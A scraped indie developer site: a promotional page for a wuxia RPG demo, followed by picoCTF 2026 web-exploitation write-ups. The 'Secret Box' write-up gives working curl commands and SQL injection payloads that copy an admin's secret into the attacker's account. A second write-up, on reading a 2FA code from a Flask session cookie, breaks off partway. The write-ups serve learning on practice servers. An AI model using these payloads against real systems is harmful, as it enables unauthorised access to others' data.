companions; pick one of three starter pets at the village chief's house right at the start; level your mount and race it. - **Five sects:** All open at Lv10 (three of their mountain gates sit outside the demo map, so you travel there through the sect panel), with sect quest chains and Sect Arts to master. - **Six World Events:** Spring Festival Lantern Fair, Horse Racing Festival, Sect Grand Match, Youth Heroes Meet, Five Sects Martial Meet and Supreme Sect War — every one a 3D venue you actually walk into; some have seasonal or entry conditions. - **Eight town minigames:** Three casino tables (dice, slots, blackjack), Chicken Chase, Dock Carry, Martial Spar, fishing and the Spring Festival lantern riddles. Your results go into the achievements panel. - **State of mind, and more:** The Inner Demon, five inner voices, the Storyteller and the pressure gauge; bounties (Lv15), encounters, forging, and a romance you can take your time with. **Your demo save carries into Early Access.** Your demo save (achievements included) will carry into the Early Access version with a one-click import the first time you launch EA, before any save exists there. If the save format changes before EA, compatibility will be handled too. The character you've raised, the vows you've made, the bonds you've formed — they come with you. (Import feature in development.) FREEFree Demo [Download the Demo · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) Open the Steam store page and hit "Download Demo" to install. --- Steam already installed? Launch directly: --- [Read the launch post: The Wuxia Life Demo Is Out →](https://taiwanding.com/en/wuxia-life-demo-out/) ABOUT THIS GAME ## *About This Game* Wuxia Life is a single-player wuxia RPG set on the fictional island of Yingzhou. You begin in Luzhou Village, investigating your father's death and the truth of your origins. The clues he left behind lead you into sect rivalries, rumors across the jianghu, the shadow of the *Blacktide Gang*, and a Yingzhou slowly falling out of balance. Some people refuse to speak. Some leave only half a sentence. Others hide the truth in old letters, torn manuals, and drunken rumors. You are not only hunting for an enemy — you are trying to understand the path your father once walked, and why Yingzhou is being pulled into the Blacktide. On this journey, you will join martial sects, befriend companions, build bonds, capture pets, forge equipment, and decide again and again who you want to become amid the pull of Killing Intent, Compassion, Pride, Dao Heart, and Guile. ![Luzhou Village with the Matters of the Jianghu quest panel](https://taiwanding.com/content/images/2026/09/extra02.webp) Luzhou Village — where it all begins: the village scene and the Matters of the Jianghu quest panel ![Ink-wash world map of Yingzhou Isle](https://taiwanding.com/content/images/2026/09/extra03.webp) Ink-wash world map of Yingzhou Isle — the demo opens Luzhou Village, the Official Road and Lujin Harbor ![Bond dialogue with Su Xiaoxue (talk / gift / event)](https://taiwanding.com/content/images/2026/09/en_ss04.webp) In-game footage — every choice in a conversation is heard by the voices within CORE MECHANIC · 01 ## *Five Inner Voices*, Inner Demons & the Heavenly Storyteller Your choices do not simply change a morality score. They make certain voices within you grow louder. As your decisions accumulate, inner demons may build and trigger dangerous breakdown events under pressure. - 殺 Killing Intent KILLING INTENT Blood must answer blood. No more waiting. - 悲 Compassion COMPASSION Even in pain, do not let hatred live your life for you. - 傲 Pride PRIDE Be no one's shadow, and let no bloodline define you. - 道 Dao Heart DAO HEART Truth must be revealed, but justice needs a line it will not cross. - 機 Guile GUILE Read the board first, then decide when to strike. CORE MECHANIC · 02 ## *The Heavenly Storyteller* — the same road through the jianghu leaves different echoes depending on what you choose The Heavenly Storyteller drives events, rumors and clues through three narrative rhythms — the righteous path, the hidden path and the chaotic path — while watching your pressure gauge: too famous and rivals come for you, too quiet and you're invited into the ring, too poor and you stumble into cheap opportunities. RHYTHM · I ### Righteous Righteous / Steady A steady, gradual pressure curve — rivals arrive in measured numbers, and chances come just often enough for you to grow. Made for a first journey into Yingzhou. Steady growth RHYTHM · II ### Hidden Hidden / Bursty Long stretches of calm, then one major event breaks out. For players who want to focus on training, friendships and cultivation — fewer events, but every one leaves a mark. Long-form cultivation RHYTHM · III ### Chaotic Chaotic / Dense Dense random events, encounters and chances colliding. For veterans and second runs — even you won't know what comes next. High drama 5 Martial Sects 6 World Events 8 Town Minigames 27 Endings In-game clip — ATB combat and 3D battlefields COMBAT ## *ATB Combat* & 6 Active Skill Slots Combat follows an ATB rhythm, where speed affects the order of actions. You can manually control each move, or enable auto-battle for low-pressure fights and material farming. - **6 active skill slots:** Build around cooldowns, weapon requirements, equipment affixes, and party roles. - **Speed controls:** Switch between 1x / 2x / 4x / 8x battle speed. - **Smart auto-battle:** It picks skills on its own and guards when a Boss charges up; Boss ultimates get a full-screen presentation. - **3D battlefields:** Character positioning, skill effects, impact feedback, and combat pacing. - **Dungeon challenges:** Waves, bosses, drops, staged encounters, and clear rewards. The heart of this game is *raising* — if a Boss beats you, it's usually because you haven't raised enough yet, not because your hands are too slow. Playable without timed input. In-game clip — sect initiation, missions and promotion events SECTS ## *Five Martial Sects* & Where You Stand Yingzhou's jianghu features five martial sects you can join. Each sect has its own initiation, martial arts path, missions, and promotion events. In the demo, all five sects open at Lv10\. Qingyun SectQingyun Sect Uphold the Dao with the sword, where sword heart and sacrifice matter. SWORD Iron Lion HallIron Lion Hall Temper bone and will through fist and blade, where loyalty and responsibility are tested. FIST & BLADE Medicine King ValleyMedicine King Valley Medicine and poison share the same root; saving lives and punishing evil both come at a cost. MEDICINE Xuanwu PavilionXuanwu Pavilion Guard, endure, and counterattack while holding the line. GUARD Wanderer's GateWanderer's Gate Information, hidden weapons, and the open road — freedom matters, but friends are not for sale. ROVER Sects are not just skill shops. Promotions, missions and sect events make you face real *choices about where you stand*: whether to publicly interrogate a traitor, whether to open the valley to a plague-stricken village, whether to shelter refugees, and which secrets should never be sold. PARTY · BONDS · PETS · MOUNTS ## *Companions, Bonds*, Pets & Mounts You do not have to walk Yingzhou alone. Along the way you can recruit companions, build bonds, capture pets, obtain mounts, and shape your own party of four. - **Companions:** Recruited through quests, each filling different combat roles. - **Bond characters:** Affection events, exclusive skills, and combo techniques; seven bond storylines, each with its own finale. - **Pets:** Capture, raise, deploy, and gain skills or battle bonuses — pick one of three starter pets at the village chief's house right at the start. - **Mounts:** Travel speed, terrain suitability, selected activities (such as horse racing) and combat abilities. Build your party around the protagonist, then combine sect techniques, internal arts, lightness skills, equipment, titles, companions, pets and mounts to face the main story, secret realms, arena battles, and jianghu events in your own way. In-game clip — companions, pets and the party ![Companion panel: Yun Qingshuang of Qingyun Sect](https://taiwanding.com/content/images/2026/09/en_ss05.webp) Companion panel: Yun Qingshuang of Qingyun Sect ![Mounts & Champion Token exchange (horse racing)](https://taiwanding.com/content/images/2026/09/en_ss08.webp) Mounts & Champion Token exchange (horse racing) ![Stable and mount panel](https://taiwanding.com/content/images/2026/09/extra11.webp) Stable and mount panel: raise your mount THE JIANGHU REMEMBERS ## *The Jianghu Remembers You* Yingzhou is not a map that simply waits for quests to be accepted. What you say, whom you spare, whom you kill, and which lines you cross may all leave traces in the world. These systems are not here just to add more items to a feature list. Their goal is to make you feel that Yingzhou slowly remembers what you have done. Some key scenes happen only once — saving someone on a rainy night, your master's last trust, a childhood friend coming to find you, the choice to retire. - IA rival from a martial arts tournament may remember your choices. - IIA childhood friend may leave you a protective charm. - IIIYour master may entrust you with an old sword at a critical moment. - IVPassersby may talk about local rumors, whispers, and things you recently did. - VWanted criminals have their own obsessions, and sparing or killing them both leave consequences. GAMEPLAY LOOP ## *A Playable Jianghu Loop* The current version includes multiple lines of progression that can be pursued in parallel. You can focus on following the clues your father left behind, or first strengthen your party, sect progression, pets, equipment, and resource routes before returning to face the Blacktide of Yingzhou. - Main story, side quests, bond quests, daily tasks, and sect mission chains. - Sect training, sect tournaments, martial arts tournaments, and arena ranks. - Martial matchmaking events, wanted bounties, escort routes, and world encounters. - Forging, alchemy, crafting, enhancement, collection logs, in-game achievements, and ending collection. - Martial art fragments, moments of insight, secret realms, dungeons, boss challenges, and late-game trials. ### Six World EventsWorld Events Every one of them is a 3D venue you actually *walk into*, not a menu. Some have seasonal or entry conditions — the Lantern Fair, for example, only opens in the first month of the year. Event · I Spring Festival Lantern Fair Opens in the first month Event · II Horse Racing Festival Mounts & Champion Tokens Event · III Sect Grand Match 3D venue Event · IV Youth Heroes Meet 3D venue Event · V Five Sects Martial Meet 3D venue Event · VI Supreme Sect War 3D venue ### Eight Town MinigamesTown Minigames Your results go into the Records tab of the achievements panel. Casino · DiceCasino · SlotsCasino · Blackjack Chicken ChaseDock CarryMartial SparFishingLantern Riddles ![Martial Manuscripts: collect fragments to master hidden arts](https://taiwanding.com/content/images/2026/09/en_ss09.webp) Martial Manuscripts: collect fragments to master hidden arts ![Residence system: buy, renovate, receive visitors](https://taiwanding.com/content/images/2026/09/en_ss06.webp) Residence system: buy, renovate, receive visitors ENDINGS ## Your *Wuxia Life*, unlike anyone else's 27ENDINGS Determined together by level, fame, karma, marriage, faction stance and main-story flags. Endings are mutually exclusive — which one this life leads to depends on the choices you make for your protagonist. 04 Reclusive Endings Returning to Roots · The Wealthy Idler · The Hero Retires · Hanging Up the Sword 07 Main Story Endings Chain-Breaker · Guardian · Renegade · Legend · … 05 Sect Endings The road to leadership of each of the five sects 07 Bond Endings Seven bond storylines · each with its own finale 04 Special Endings Lord of the Abyss · Daylight Ascension · End of the Lonely Road · Return to the Common Folk To see the whole picture you have to walk again — whose life will you live the first time, and what will you choose to let go of the second? Early Access · 2027 Q1 ## Wuxia Life is no longer just a concept demo — it is a playable *0.9-series build*. I chose Early Access because the part that needs the most refinement is not simply whether these features exist. It is whether the journey through Yingzhou feels meaningful enough. As an independent developer, player feedback will directly shape the direction of the full release — Early Access is not about handing players an unfinished game, but about letting players help make this jianghu better. 2026.09.18 Demo released The complete first act, free. Saves (achievements included) carry into EA. 2027 Q1 Early Access sets sail Offered at a more accessible price; EA buyers keep receiving every update. 6–12 months In Early Access Ongoing updates shaped by player feedback, content polish, balance adjustments and quality requirements. End of 2027 Version 1.0 target If more time is needed, I would rather extend Early Access than rush the release. **Honest update:** I've been writing "mid-November" for a while. It is now: **Early Access is planned for Q1 2027**. The reason is simple — I want to get Early Access right, so I'm taking a few more months to ship something both you and I can be happy with. Now · 0.9 Series Already in the 0.9 series - ✓Main story: starting from Luzhou Village and moving into the Official Road, Lujin Harbor and other regions of Yingzhou, centered on the human martial world, the truth about your father and the Blacktide Gang's undercurrent - ✓ATB combat, 6 active skill slots, speed controls and auto-battle, 3D battle scenes - ✓Five sects: each with its own martial arts path, initiation, missions and promotion events - ✓Five Inner Voices and inner demons, breakdown events, the Heavenly Storyteller's three rhythms - ✓Party and growth: recruitable companions, bond characters, pets, mounts, equipment, titles and martial art fragments - ✓Jianghu memory and rumors, one-time events (a rescue on a rainy night, your master's trust, a childhood friend seeking you, the choice to retire) - ✓Jianghu activities: escort routes, bounties, martial matchmaking, world encounters, sect tournaments, martial arts tournaments and arena ranks - ✓Crafting and collection: forging, alchemy, crafting, enhancement, equipment affixes, collection logs, in-game achievements and multiple endings - ✓Save safety: multiple character slots, manual / auto saves, emergency backups, export / import save packages In Progress Still being polished - ◇Bug fixes, balance adjustments and UI details - ◇Quest flow, map guidance, side-quest density and mid-to-late-game pacing - ◇The emotional pacing of the father storyline, the Blacktide Gang and Yingzhou's main arc - ◇More bond events, sect events, secret realm content and ending echoes - ◇Real-hardware verification and polish of Steam Achievements and Steam Cloud integration - ◇The 3D venue upgrade is only partway done: the six World Event venues plus the Chicken Chase, Dock Carry, horse racing, Martial Spar and stable scenes have 3D venues (the casino and fishing are procedural 3D) - ◇The English text is still being proofread line by line — if you spot leftover Chinese or awkward phrasing, please report it - ◇Combat numbers and raising guidance: making "what to go raise next" clearer, not nerfing the Bosses - ◇Some panel transitions and animations are still being smoothed out Where version 1.0 is headed Building on the 0.9 series to make the main story, system feedback, content density and overall stability more complete: refining the emotional pacing of the father storyline, the Blacktide Gang and Yingzhou's main arc; adding more bond events, sect promotion events, side quests and ending echoes; expanding "the jianghu remembers you" systems; continuing to adjust ATB combat pacing, sect balance, skill cooldowns, pets and mount values; improving UI, map guidance, quest hints, tutorial flow and mid-to-late-game pacing; continuing to polish the ink-wash inspired UI, maps, scenes and presentation assets; evaluating adjustable difficulty and assist-mode options; verifying and improving Steam Achievements and Steam Cloud integration. After the full release, I will also evaluate the possibility of Steam Workshop or other player-created content support. These are long-term considerations, and I do not want to promise specific features or release dates before they are realistic. Pricing During Early Access, Wuxia Life will be offered at a more accessible price, as thanks to early players who support the game mid-development. As content expands, systems stabilize and the main story and bond events become more complete, I plan to adjust the price gradually as version 1.0 approaches. Players who buy during Early Access keep receiving all later updates through the full release, without needing to buy the game again. Polished together with the community I will mainly interact with players through the Steam discussions, Steam announcements and dev logs. I'm a solo developer and there's a limit to what I can do, but I read every report and suggestion. - **Steam discussions:** Report bugs, make suggestions or share your playthrough. - **Bug report form:** There's also a "Report a Problem" button in the in-game settings panel that fills in your version and location automatically. - **Wish board:** Features you want, things you think should change — post them there. - **Around major updates:** When needed, I'll use surveys or polls to collect player views on key system changes. [Steam Discussions](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com) [Bug Report Form](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com) [Wish Board](https://ideas.taiwanding.com/?ref=taiwanding.com) ![Jianghu Advisors: a record of accepted player suggestions](https://taiwanding.com/content/images/2026/09/en_ss10.webp) Jianghu Advisors: a record of accepted player suggestions [ Add to Wishlist ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ Download the Demo ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) STEAM ## Steam *Info* Genres AdventureIndieRPGStrategyEarly Access Features Single-playerSteam AchievementsSteam CloudFamily SharingAdjustable DifficultySave AnytimeAdjustable Text SizeCustom Volume ControlsPlayable without Timed Input Languages Traditional Chinese, English Interface & subtitles Platform Windows 10/11 (64-bit) Demo: free, Windows Release Early Access: Q1 2027 Demo: released Sept 18, 2026 Developer / Publisher 肉's Lab [taiwanding.com](https://taiwanding.com/) Steam App ID 4658980 Demo App ID: 4919790 Tech React + TypeScript + Zustand Three.js (3D scenes) · Electron ### System RequirementsSystem Requirements | | MinimumMinimum | RecommendedRecommended | | --------- | ---------------------------------------------------------- | --------------------------------------------------- | | OS | Windows 10 (64-bit) | Windows 10/11 (64-bit) | | Processor | Intel Core i3-6100 / AMD Ryzen 3 1200 or equivalent | Intel Core i5-8400 / AMD Ryzen 5 2600 or equivalent | | Memory | 4096 MB RAM | 8192 MB RAM | | Graphics | Integrated GPU / NVIDIA GeForce GT 730 / AMD Radeon HD 777 | NVIDIA GeForce GTX 1050 / AMD Radeon RX 560 | | DirectX | Version 11 | Version 11 | | Storage | 2048 MB available space | 2048 MB available space | Requires a 64-bit processor and operating system. ### AI Generated Content Disclosure The developers describe how their game uses AI Generated Content like this: All in-game visual art assets in this title — including item icons, equipment artwork, character portraits, story illustrations, and UI decorative elements (frames, icons, and background textures) — are produced using OpenAI's ChatGPT image generation and xAI's Grok image generation API as core tools within our ink-wash and gongbi-style art pipeline. Every generated asset is reviewed, curated, manually retouched, and compositionally adjusted by the developer before being incorporated into the game. No real person's likeness has been used. The game's source code is written by the developer, Kevin Chen, with OpenAI Codex and Anthropic Claude Code used as coding assistants during development. In-game narrative and dialogue text are written by the developer, with portions assisted by Anthropic Claude for polishing and proofreading. NEWS · DEV LOG ## News & *Dev Log* - 2026.09.18 [The Wuxia Life demo is outThe complete first act, six walk-in World Events, eight town minigames — and a save that carries into Early Access](https://taiwanding.com/en/wuxia-life-demo-out/) [Read on the blog](https://taiwanding.com/en/wuxia-life-demo-out/)[Steam announcement](https://store.steampowered.com/news/app/4658980/view/680761758839734908?ref=taiwanding.com) - 2026.08.04 [Wuxia Life Update — A Few Words from the HeartAbout what happened recently, and why I'm going to keep making this game.](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam announcement](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) - 2026.05.11 [A jianghu that remembers you, and seven weddings.](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam announcement](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) - 2026.05.01 [Dev Update #1](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam announcement](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [All posts in English](https://taiwanding.com/en/) [Steam News Hub](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [April: store page launch post](https://taiwanding.com/en/wuxia-life-indie-rpg-steam-announcement/) For this one week, the jianghu is in your hands. ## The demo is free — *step into Yingzhou now* If this world is to your liking, please add Wuxia Life to your Steam wishlist — when Early Access sets sail, you'll be the first to know. [Download the Demo · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Add to Wishlist](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Contact the Developer](mailto:pcc402@nyu.edu) [Steam Store Page](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Discussions](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com) [Bug Reports](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com) [Wish Board](https://ideas.taiwanding.com/?ref=taiwanding.com) [Dev Log](https://taiwanding.com/en/) [pcc402@nyu.edu](mailto:pcc402@nyu.edu) [English](https://taiwanding.com/wuxialife/) © 2026 *肉's Lab* · MADE IN TAIWAN ## Posts ### picoCTF 2026 Secret Box Writeup: SQL Injection in an INSERT to Steal the Admin's Secret URL: https://taiwanding.com/en/picoctf-2026-secret-box-insert-sql-injection/ Last updated: 2026-09-19T06:36:21.000Z This is a Web challenge from picoCTF 2026: `Secret Box`. Challenge description: > This secret box is designed to conceal your secrets. > > It's perfectly secure—only you can see what's inside. > > Or can you? Try uncovering the admin's secret. This challenge gives you the source code from the start, so it isn't a pure black-box guessing game. What the challenge says is: ```text Everyone can only see their own secret but we need to find a way to see the admin's secret ``` For this kind of challenge, you usually want to look at two things first: - how the secret is stored - how the site decides whose secret this is ## Challenge info - Challenge: Secret Box - Category: Web Exploitation - Difficulty: Medium - Platform: picoCTF 2026 This writeup follows the actual solving process; the point is to understand: ```text Express + EJS PostgreSQL auth_token owner_id SQL injection ``` In the end we don't log into the admin page directly; instead we use SQL injection to copy the admin's secret into our own secret box. ## Step 1: Download the source code First create a folder: ```bash cd /mnt/d/Download mkdir -p secretbox cd secretbox ``` Set the URLs: ```bash BASE='http://candy-mountain.picoctf.net:58604' SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz' ``` Download and extract: ```bash curl -sS -L "$SRC" -o source.tar.gz mkdir -p src tar -xzf source.tar.gz -C src rg --files src ``` You'll see: ```text src/source/docker-compose.yml src/source/app/Dockerfile src/source/db/Dockerfile src/source/db/initdb.sql src/source/app/src/handler.js src/source/app/src/db.js src/source/app/src/server.js src/source/app/src/views/login.ejs src/source/app/src/views/index.ejs src/source/app/src/views/create_secret.ejs src/source/app/src/views/my_secrets.ejs src/source/app/src/views/signup.ejs ``` There aren't many files; the main flow should be in: ```text server.js: routes handler.js: login state / token initdb.sql: database schema db.js: admin password / flag initialization views/*.ejs: how the page is displayed ``` ## Step 2: What is EJS Seeing `.ejs` for the first time might feel unfamiliar. EJS is a template engine commonly used with Node.js / Express, and its full name is: ```text Embedded JavaScript templates ``` You can think of it as Flask's Jinja. | Flask | Express / Node | | -------------------------------------- | -------------------------------- | | render\_template("index.html", data=x) | res.render("index", { data: x }) | | Jinja template | EJS template | | {{ value }} | <%= value %> | The home page in this challenge renders like this: ```js return res.render('my_secrets', {secrets: query.rows}); ``` EJS displays the secret like this: ```ejs <%= sec.content %> ``` `<%= %>` performs HTML escaping, so for now this challenge doesn't look like EJS SSTI, and it isn't an XSS challenge either. EJS is only responsible for displaying the data; what really matters is the backend SQL. ## Step 3: Look at the database structure First look at `initdb.sql`: ```bash nl -ba src/source/db/initdb.sql | sed -n '1,80p' ``` The key part is these three tables: ```sql CREATE TABLE users ( id text PRIMARY KEY DEFAULT gen_random_uuid(), username text NOT NULL, password text NOT NULL, created_at timestamptz NOT NULL DEFAULT now() ); CREATE TABLE tokens ( id text PRIMARY KEY DEFAULT gen_random_uuid(), user_id text NOT NULL REFERENCES users(id), created_at timestamptz NOT NULL DEFAULT now(), expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days' ); CREATE TABLE secrets ( id text PRIMARY KEY DEFAULT gen_random_uuid(), owner_id text NOT NULL REFERENCES users(id), content text NOT NULL, created_at timestamptz NOT NULL DEFAULT now() ); ``` Here you can first understand the data relationships: ```text users.id -> tokens.user_id -> secrets.owner_id ``` In other words: ```text a token maps to a user a secret also maps to a user ``` The admin's UUID is also in the init file: ```sql INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password'); INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}'); ``` Although the local source has a fake flag, `db.js` updates it to the real flag when the production environment starts up: ```js await db('users') .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' }) .update({ password: process.env.USERPASSWORD }); await db('secrets') .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' }) .update({ content: process.env.FLAG }); ``` So we can confirm: ```text the admin's secret is the flag the admin's owner_id is a fixed UUID ``` ## Step 4: How login state is determined `handler.js` is responsible for reading the cookie: ```js const cookies = getCookies(req.headers.cookie); const token = cookies.auth_token; ``` If there's a token, it queries the database: ```js const query = await db.raw( `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`, [token] ); ``` If found, it puts the user ID into the request: ```js req.userId = query.rows[0].user_id; ``` So login state in this challenge works like this: ```text the cookie contains auth_token -> found in the tokens table -> req.userId = tokens.user_id ``` The home page `/` uses `req.userId` to query your own secrets: ```js const query = await db.raw( `SELECT * FROM secrets WHERE owner_id = ?`, [userId] ); return res.render('my_secrets', {secrets: query.rows}); ``` This is a parameterized query, so there's no direct IDOR here. Because the home page only queries: ```sql SELECT * FROM secrets WHERE owner_id = my own userId ``` So if we want to see the admin secret, we can't just change the URL; we have to find a way to make the admin secret become "our own secret". ## Step 5: Finding the real SQL injection Look at the route in `server.js` that creates a secret: ```bash nl -ba src/source/app/src/server.js | sed -n '120,140p' ``` The key part is this: ```js app.post('/secrets/create', authMiddleware, async (req, res) => { const userId = req.userId; if (!userId){ res.clearCookie('auth_token'); return res.redirect('/'); } const content = req.body.content; const query = await db.raw( `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` ); return res.redirect('/'); }); ``` The problem is on this line: ```js `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` ``` `userId` and `content` are concatenated directly into the SQL. `userId` comes from the token and is normally hard to control, but `content` is what we type in when creating a secret, so it's under our control. What the backend intends to do is: ```sql INSERT INTO secrets(owner_id, content) VALUES ('my userId', 'my secret') ``` If `content` can close the string early, we can turn the SQL into: ```sql INSERT INTO secrets(owner_id, content) VALUES ('my userId', 'x'), ('my userId', 'another secret')--') ``` This isn't sending two SQL statements; more accurately, it's: **appending a second VALUES row inside the same INSERT.** ## Step 6: Register a normal user and log in First register a normal account: ```bash BASE='http://candy-mountain.picoctf.net:58604' C=secretbox_cookies.txt USER="u$(date +%s)" PASS="Passw0rd!" curl -sS -i -c "$C" -X POST "$BASE/signup" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 01_signup.http curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" \ -o 02_login.http TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")" echo "USER=$USER" echo "TOKEN=$TOKEN" sed -n '1,100p' 02_login.http ``` After a successful login you'll see: ```http HTTP/1.1 302 Found Set-Cookie: auth_token=... Location: / ``` The `auth_token` here matters, because we know the token but not our own `user_id`. But the database knows it: ```sql SELECT user_id FROM tokens WHERE id='our token' ``` So later we can use this subquery to let the database find the current user ID for us. ## Step 7: Use a marker to prove the SQL injection works Don't rush to grab the flag yet; first use a marker to confirm we can really insert a second secret row. A marker is just a tag we deliberately insert, for example: ```text MARK1788101140 ``` Payload: ```bash MARK="MARK$(date +%s)" PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--" printf '%s\n' "$PAYLOAD" ``` Send it: ```bash curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \ --data-urlencode "content=$PAYLOAD" \ -o 03_marker.http sed -n '1,120p' 03_marker.http curl -sS -b "$C" "$BASE/" -o 04_home_marker.html grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http ``` Result: ```text 04_home_marker.html:MARK1788101140 ``` This means the marker already shows up in our own Secret Box. In other words, this payload successfully made the database insert an extra secret row: ```sql INSERT INTO secrets(owner_id, content) VALUES ('my userId', 'x'), ((SELECT user_id FROM tokens WHERE id='my token'), 'MARK1788101140')--') ``` The subquery inside it: ```sql SELECT user_id FROM tokens WHERE id='my token' ``` returns our own user ID, so the second secret row is effectively: ```sql ('my userId', 'MARK1788101140') ``` Only after the marker test succeeds do we move on to the next step. ## Step 8: Copy the admin secret into your own box The source code already told us the admin's UUID: ```text e2a66f7d-2ce6-4861-b4aa-be8e069601cb ``` The admin secret is stored in: ```sql secrets.content ``` So to query the admin secret, we can use: ```sql SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1 ``` Take this part of the marker payload: ```sql 'MARK' ``` and replace it with this query: ```sql (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1) ``` The full command: ```bash TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")" PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--" printf '%s\n' "$PAYLOAD" curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \ --data-urlencode "content=$PAYLOAD" \ -o 05_dump_admin_secret.http sed -n '1,120p' 05_dump_admin_secret.http curl -sS -b "$C" "$BASE/" -o 06_home_flag.html grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html ``` Result: ```text picoCTF{Redacted} ``` The idea here is: ```text Row 1: insert an ordinary x Row 2: owner_id is myself, content is the admin secret ``` So when the home page finally queries our own secrets: ```sql SELECT * FROM secrets WHERE owner_id = my userId ``` it displays the admin secret we just copied over. ## How the SQL comes together The part of this challenge that trips people up most is this payload: ```sql x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')-- ``` A toy example makes it easier to understand. Suppose the tables look like this: ```text users U1 admin U2 kevin tokens T2 -> U2 secrets U1 -> picoCTF{secret} ``` Adding a secret normally: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'hello') ``` If content is: ```sql x'), ('U2', 'MARK')-- ``` After the backend concatenates it, it becomes: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'x'), ('U2', 'MARK')--') ``` This inserts two rows: ```text U2 -> x U2 -> MARK ``` But we don't necessarily know that our own user ID is `U2`, so we change it to let the database look it up from the token: ```sql SELECT user_id FROM tokens WHERE id='T2' ``` The payload becomes: ```sql x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')-- ``` Finally, replace `MARK` with the admin secret: ```sql x'), ( (SELECT user_id FROM tokens WHERE id='T2'), (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1) )-- ``` which is equivalent to: ```sql INSERT INTO secrets(owner_id, content) VALUES ('U2', 'x'), ('U2', 'picoCTF{secret}')--') ``` So this challenge isn't about directly bypassing "you can only see your own secret"; it's about copying the admin secret into your own secret. ## Key takeaways `Secret Box` is a really well-chosen name for this challenge. On the surface, everyone's box only queries their own `owner_id`, so the permissions look correct. But the place where secrets are created has a SQL injection. So we can quietly ask the database to do one thing: ```text add a new secret for me the owner is me the content is the admin's secret ``` That's the core idea of this challenge. ### picoCTF 2026 No FA Writeup: Reading the 2FA OTP from a Flask Session Cookie URL: https://taiwanding.com/en/picoctf-2026-no-fa-flask-session-2fa-bypass/ Last updated: 2026-09-19T06:36:21.000Z Challenge description: > Seems like some data has been leaked! Can you get the flag? This challenge hands you two things up front: - application code: `app.py` - leaked data: `users.db` So this isn't a pure black-box guessing game — it's a white-box audit challenge. The name `No FA` looks like it's hinting at 2FA / MFA, and the challenge says data was leaked, so the first reasonable assumption is: **Can the leaked data let us bypass 2FA?** ## Challenge info - Challenge: No FA - Category: Web Exploitation - Difficulty: Medium - Platform: picoCTF 2026 - Site type: a Flask web app with login + 2FA - Challenge link: [https://learn.cylabacademy.org/library/765](https://learn.cylabacademy.org/library/765?ref=taiwanding.com) ## What a client-side session is: signing isn't encryption The core of this challenge is a concept a lot of people mix up: where Flask's default session actually lives, and what it actually protects. By default, Flask stores the session contents in a client-side cookie. That cookie is signed with the `SECRET_KEY`, whose purpose is to stop users from tampering with the contents — if you change it, the signature no longer matches. But signing is not the same as encryption: ```text signed: you can't change it, but you can read it encrypted: you can't read it ``` In other words, Flask's default session is a signed cookie, not an encrypted cookie. As long as you have that cookie in hand (and you can grab it with curl, Burp, or devtools), you can decode its contents. Keep that in mind and you're already halfway to solving this: any sensitive thing the server drops into the session is effectively readable by the user — and this challenge happens to put the 2FA OTP right in there. ## Step 1: Download the white-box materials the challenge gives you First create a folder: ```bash cd /mnt/d/Download mkdir -p nofa cd nofa ``` Set the URLs: ```bash BASE='http://foggy-cliff.picoctf.net:XXXXX' APP='https://challenge-files.picoctf.net/.../app.py' DB='https://challenge-files.picoctf.net/.../users.db' ``` Download: ```bash curl -sS -L "$APP" -o app.py curl -sS -L "$DB" -o users.db file app.py users.db ``` You'll see: ```text app.py: Python script users.db: SQLite 3.x database ``` Now the direction is clear: ```text First read app.py's login rules Then look at what data is in users.db ``` ## Step 2: Start with app.py's routes For a white-box challenge I usually start by reading the routes: ```bash rg -n 